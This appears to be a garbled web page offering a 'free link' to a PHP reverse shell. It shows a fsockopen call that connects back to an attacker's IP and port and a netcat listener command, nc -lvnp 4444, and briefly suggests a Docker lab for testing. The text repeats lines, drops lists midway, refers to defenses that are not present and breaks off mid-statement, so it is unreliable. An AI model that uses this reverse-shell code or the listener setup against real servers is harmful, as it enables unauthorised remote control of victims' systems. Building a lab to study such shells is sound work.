Php-reverse-shell //free\\ Link

$sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) die("Error: $errstr ($errno)");

The Listener: Before triggering the script, the attacker must set up a "listener" on their machine to wait for the incoming connection. This is typically done using tools like Netcat or Ncat with a command such as nc -lvnp 4444 . php-reverse-shell

Once executed, the attacker can:

Want a lab to test this safely? Set up two Docker containers — one for the attacker (with netcat) and one for the victim (Apache + PHP). Try uploading the reverse shell, then implement the defenses above to stop it. $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (